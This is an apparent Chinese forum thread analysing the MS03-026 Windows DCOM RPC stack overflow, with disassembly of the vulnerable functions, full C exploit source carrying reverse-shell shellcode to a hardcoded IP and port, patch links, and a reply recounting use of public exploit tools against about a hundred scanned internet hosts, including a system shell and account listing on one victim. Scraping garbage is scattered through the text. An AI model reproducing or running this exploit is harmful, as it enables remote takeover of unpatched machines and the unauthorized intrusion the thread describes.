LSD RPC 溢出漏洞之分析

ASEE

作者：FLASHSKY 作者单位：启明星辰积极防御实验室 WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM * g- [" } j" u8 p. R6 o6 o6 X; U邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com 感谢BENJURRY做测试，翻译和代码的通用化处理。 邮件：benjurry@xfocus.org LSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 ! f1 L S9 j7 l导致问题的调用如下： hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); - A8 S6 l3 o% O. D" z这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： % D# v! R2 J5 }问题代码如下： GetPathForServer： ; y* U3 k3 l* {6 l; x.text:761543DA push ebp .text:761543DB mov ebp, esp .text:761543DD sub esp, 20h <-----0x20空间 .text:761543E0 mov eax, [ebp+arg_4] 5 O. D% s+ h3 c2 w- U.text:761543E3 push ebx .text:761543E4 push esi .text:761543E5 mov esi, [ebp+hMem] + p$ s* @9 O. p& C5 U.text:761543E8 push edi .text:761543E9 push 5Ch * f9 d- E& v/ f! G) K0 E.text:761543EB pop ebx .text:761543EC mov [eax], esi .text:761543EE cmp [esi], bx .text:761543F1 mov edi, esi & v" w) d8 S' C# _# L.text:761543F3 jnz loc_761544BF , w) @- A) T- H.text:761543F9 cmp [esi+2], bx ) O5 [& L$ h! x$ c) @9 k5 `1 E8 d.text:761543FD jnz loc_761544BF / M" \. _" A) w! T.text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 Y' U# W& Z! C/ Q.text:76154406 push 0 , Y1 A* `/ F/ f" ?' o! K/ |1 d.text:76154408 push eax .text:76154409 push esi 〈----------------------我们传入的文件名参数 ) V( F* Z) q X4 v1 T6 Q- A0 @.text:7615440A call GetMachineName # y _( Z5 n( h& C; ?。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 + O$ j: a2 g6 C# N \GetMachineName: .text:7614DB6F mov eax, [ebp+arg_0] 1 a8 F/ I* N6 J+ a! B.text:7614DB72 mov ecx, [ebp+arg_4] : e0 s4 t7 T/ r! A.text:7614DB75 lea edx, [eax+4] .text:7614DB78 mov ax, [eax+4] 7 ~% r# v" g. E.text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C .text:7614DB80 jz short loc_7614DB93 # l. R( Y+ e4 B% ^; l! O0 ?' `.text:7614DB82 sub edx, ecx - Q% n0 B. s" G% t1 Q& h.text:7614DB84 ) S( Y, M* O# d, a. h) h.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j .text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 .text:7614DB87 inc ecx * z0 `" h" M; z! o+ V.text:7614DB88 inc ecx .text:7614DB89 mov ax, [ecx+edx] 3 Z/ S! }5 u& x9 `/ T5 z.text:7614DB8D cmp ax, 5Ch .text:7614DB91 jnz short loc_7614DB84 ?& H0 J6 Q" r; \5 W. d8 I.text:7614DB93 OK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 / E8 b8 d N0 a! U: c* A0 w下面就给出一个实现的代码，注意点如下： 1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 2。这里使用了反向连接的SHELLCODE，需要先运行NC % n2 u* W h- [6 `3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 # _- r$ _ [4 {* I) c# t% L i4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 3 j+ h, x: z3 ]6 {1 T$ `9 ` #include #include + a, z6 o! |+ A" V: [$ ~#include ; _( Y1 @& \( B7 ~#include % U* y) r9 Y. S2 s; v#include 4 d0 {9 y0 |$ ?& w#include - Z0 O$ v/ u6 Y) Y* ~2 q . C. U6 b: z* m% ?" L, |: F1 runsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 3 i* r9 @! v1 t0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, ' }& n* y8 [9 V2 r0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, , _' k: [ N- h, v0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; & i7 X: j) f( D0 X0 q" b% o7 r1 h: ] unsigned char request1[]={ ( Q8 C! W B# y/ m0 X' f0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 4 ^3 L* U9 z; W# x,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 6 Q7 s6 M8 z( k7 R `. P, h2 Q$ m9 P,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 - u; S( l! C2 |5 S4 W6 |3 @6 S,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E + J8 C+ w, X3 E+ D0 V8 }! t,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 5 _% X9 {) d4 W- {0 \1 o3 }9 G# Z,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 8 ~3 l& W; O% I7 X2 T- \1 v+ T,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ( w- C# R, f/ f/ V1 s! C. ]% _0 ~,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 7 R- R! V# V8 F4 _$ j+ d; b' A! f,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 6 p" O* N- _' b2 f7 |, U,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ; ?4 I% H) A8 s5 t* t% N& r,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ' _' ?6 b4 L5 {0 l,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 . c! i( o$ l( R, J,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 $ j( W8 d' o8 F+ w/ B+ R,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 * w8 e/ B+ _" p2 {- I. q1 A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 % z4 @3 V6 h4 L ?( J/ U5 l,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 % ~% s- f. r1 q8 j/ d+ R,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ; a1 I; x$ J2 B3 ~) b$ c,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ; K& J' ?' @5 r* ]; |,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 # C) a$ ~+ {2 [( L' Q" S,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ! u: y- v6 E1 O6 R# b* Y, i,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 * q9 C) n& f7 A, D) N k/ t,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E " s7 Z& @& H9 K m4 m+ Y* F,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 : N F8 L$ i+ X7 U,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 2 e- o& s' l+ [3 n,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 # }* ]" K* l. h: w2 I& l,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 5 x0 L: f5 [5 V/ T) I- l, w5 w,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 W2 r# D. E; W$ P* ?0 V3 c$ C7 j# },0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; unsigned char request2[]={ . H, W1 ]! q0 H- m$ i& y3 G5 U0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 * N& D' i7 h, R. H8 c4 v. a ~3 },0x00,0x00,0x5C,0x00,0x5C,0x00}; " C. {# ^* Q% C4 M L, _( { 0 ?# h; ~3 N. v4 J. `5 }unsigned char request3[]={ / B' O8 Q5 `1 P9 }1 Q' H0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 + C( i; }# f/ ^6 q& f0 c,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ' K4 m0 r% }( k,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; 1 T% e6 E% N( t) E8 p; r9 s& j unsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" ( s# ~, @1 L/ K. O/ P J- t7 _$ ["\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" . e/ D/ c# B1 f+ U- R"\x46\x00\x58\x00" "\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 "\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 //下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 //SHELLCODE不存在0X00，0X00与0X5C ' ~$ P9 F/ h* I8 Z+ u"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" # d5 H5 }1 l9 @ `6 j0 ^* m' P"\x93\x40\xe2\xfa" // code "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" ( Q4 r! o5 v% p: J5 Z"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" ( ?1 s+ h+ q+ j; N/ l"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" 4 z3 T( J0 a6 f) B4 q; V$ X) A"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" ( Z# a' X5 ?1 i"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" 8 P4 H V! x: L- G/ T4 M& O"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" . m) s% t8 b& T"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" + C/ g) v% d/ D6 i' j"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" ( V/ ^0 t* e7 W* i0 n2 z1 o"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" ) E0 Y" |; ] R. x, G$ W"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" " y* t3 M9 P7 u2 C"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; ! |$ a5 m7 g+ ^( X ) P2 q' m$ X) a7 F' [6 S( [+ Funsigned char request4[]={ 0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C $ g3 L% X/ x# ^# u1 a% `6 A,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ( _1 k! h' ~- h/ J}; r# o) p$ K, T: v$ i, r ! ] ~* n, x5 Bvoid main(int argc,char ** argv) { WSADATA WSAData; SOCKET sock; 6 a2 Z9 Y) o$ P; y0 _9 Dint len,len1; SOCKADDR_IN addr_in; # n) \( K& j! p6 |7 E- `0 \short port=135; unsigned char buf1[0x1000]; unsigned char buf2[0x1000]; unsigned short port1; DWORD cb; ' l5 g# l2 @( s2 c$ Uif (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) ) ]! a3 |( f/ Z: a. h8 K4 e{ ( g& Z- |) i0 V7 f4 v P; E3 y5 \printf("WSAStartup error.Error:%d\n",WSAGetLastError()); ; C! x. A1 C( h& E% D6 V- Breturn; 4 _- F: X! S/ h" Z( z; Q9 J7 P4 x: n} 3 Z) L" p9 w$ o8 k' F# N; {' D ' \7 e: [, h8 w& D- P4 u7 |addr_in.sin_family=AF_INET; addr_in.sin_port=htons(port); ; [2 A% t. Z. k2 ?" c! Aaddr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { * H3 I6 c1 G( u3 d8 vprintf("Socket failed.Error:%d\n",WSAGetLastError()); return; } ! J# r, h( M2 T8 R0 T: [5 ~/ ~if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { printf("Connect failed.Error:%d",WSAGetLastError()); ( e/ \/ L7 X2 ?return; } port1 = htons (2300); //反向连接的端口 ! W8 t6 L8 k/ `$ g' ~" e& X8 ?) Rport1 ^= 0x9393; cb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， ( n; | ?7 d! Z/ [cb ^= 0x93939393; *(unsigned short *)&sc[330+0x30] = port1; + p. @9 F. ]' I! N1 M6 w# q*(unsigned int *)&sc[335+0x30] = cb; ' c# c6 U, j7 P) y: k0 X- Rlen=sizeof(sc); ( W l% w1 G4 B3 Bmemcpy(buf2,request1,sizeof(request1)); len1=sizeof(request1); *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 " P" h) r) E6 h' E3 Qmemcpy(buf2+len1,request2,sizeof(request2)); len1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); ; e' I2 y; Q9 t- f8 s amemcpy(buf2+len1,request3,sizeof(request3)); ( c/ F5 H+ k2 A6 @5 n* J: glen1=len1+sizeof(request3); 2 h, x5 V% A! ]0 U, imemcpy(buf2+len1,request4,sizeof(request4)); len1=len1+sizeof(request4); 8 O; f% v( B8 ]3 e( e* e4 h*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; & w9 W& T+ q* n9 D0 `# Q//计算各种结构的长度 *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; V) c7 n5 E- w4 [) ]7 @: e*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; 2 M' M6 t2 a0 T+ h* n( g*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; 5 p; j( x ?, B6 B* s! d*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) { e. Q: h! }$ u1 Y8 eprintf("Send failed.Error:%d\n",WSAGetLastError()); return; } ) r! G7 k' @! b: c - t6 p" P9 c5 ~ u: V! |1 Tlen=recv(sock,buf1,1000,NULL); ; A8 u& q# z1 p* `: \4 b. pif (send(sock,buf2,len1,0)==SOCKET_ERROR) ! X9 O! }5 }4 Z d3 H+ F& d6 ^{ printf("Send failed.Error:%d\n",WSAGetLastError()); / \( b% X8 R/ i5 jreturn; } len=recv(sock,buf1,1024,NULL); V7 p. y" ]% ]} 7 K( G) N" G! F: M- r# ] + h( h) j2 A, T8 G3 _! e, ~& v补丁机理： 补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 " D! [0 e3 F+ H3 R补记： . Q$ F* t, Y2 p* O+ M) a由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。

ASEE

补丁：
$ T. b6 B4 \  @; r  b3 y* r9 S& iWindows NT 4.0 Server ：
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http://microsoft.com/downloads/d ... &displaylang=en
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Windows NT 4.0 Terminal Server Edition：

http://microsoft.com/downloads/d ... &displaylang=en

Windows 2000：
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http://microsoft.com/downloads/d ... &displaylang=en
（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117
8 R2 _4 ?, m) C/ W8 F
9 W7 p* E  l! {: b/ E6 G1 C3 XWindows XP 32 bit Edition ：

: f- x( U0 v, P9 X# J' ]7 p5 Shttp://microsoft.com/downloads/d ... &displaylang=en

Windows XP 64 bit Edition：

% B0 q  V1 Z& }5 _! Ohttp://microsoft.com/downloads/d ... &displaylang=en
$ ]3 ~) L2 O5 W, c# o
Windows Server 2003 32 bit Edition：

http://microsoft.com/downloads/d ... &displaylang=en

Windows Server 2003 64 bit Edition：
1 @. }1 N; f$ R" l" v
, p. y0 E4 M+ p% g  D# h) Z: ohttp://microsoft.com/downloads/d ... &displaylang=en
+ \, T" l$ g2 X; R- R
+ Q4 k2 h: Z, D7 o+ p- ~2 J
, U% i/ e5 ^" d# R, ?8 c
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[此贴子已经被作者于2003-8-9 23:05:32编辑过]

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ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 chdcom针对以下版本: - 0 Windows xp SP1 (cn) 5 M {; a J4 V- 1 Windows 2000 SP3 (cn) 1 z6 b- _, ~9 ?% x, g5 R; R) `3 ^- 2 Windows 2000 SP4 (cn) - 3 Windows 2000 SP3 (english) - 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) . W2 c) m p7 E6 U7 }2 }! iUsage: chdcom & p5 ]0 J4 H7 w3 a5 Lcedcom针对以下版本: - 0 Windows 2000 SP0 (english) 7 U! y9 i. T5 z3 h/ v/ o0 k- 1 Windows 2000 SP1 (english) - 2 Windows 2000 SP2 (english) $ H* i8 U. v3 W7 y, |6 ^) k- 3 Windows 2000 SP3 (english) & a7 C! y; b* t( Y% `* W$ f- 4 Windows 2000 SP4 (english) , I9 }0 x: Y }# X4 j! T. r0 }- 5 Windows XP SP0 (english) & a7 f7 q, e! c: m9 g- 6 Windows XP SP1 (english) Usage: endcom cygwin1.dll应用程序扩展 溢出目标IP前.先用扫描器扫描开135端口的肉机. 2 Q, V" C E* b: L% a7 U: p- e我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， 比如说目标69.X.173.63开了135端口.Target ID是4 C:\dcom>chdcom 4 69.X.173.63 --------------------------------------------------------- - Remote DCOM RPC Buffer Overflow Exploit : Y/ X" B2 B( [; t9 G* ]( p' E( [9 `- Original code by FlashSky and Benjurry - Rewritten by HDM last $ a" e7 z; c# n+ d7 R9 V- last by nic : T% j. s. g, V2 s: m. Z$ V-Compiled and recorrected by pingker! - Using return address of 0x77f92a9b - Dropping to System Shell... ' g9 l( P3 D- N0 K! J& V7 I, ` Microsoft Windows 2000 [Version 5.00.2195] 0 i0 Z8 `: D7 h; r7 J- W1 D8 k(C) Copyright 1985-2000 Microsoft Corp. 3 m2 j$ u7 w( v Y5 t C:\WINNT\system32> 成功溢出. C:\WINNT\system32>net user 3 M0 H- N. h0 }3 z* z6 @- e0 hnet user * ~, N/ H, d* ^. E User accounts for \ ---------------------------------------------------------------------------- 1 j$ j( `; x! m2 `, y5 @--- Administrator ASPNET billbishopcom 4 D5 V9 A. ]" [) rdivyanshu ebuyjunction edynamic1 2 }+ C2 G" o O+ i3 z) y5 M4 Redynamic2 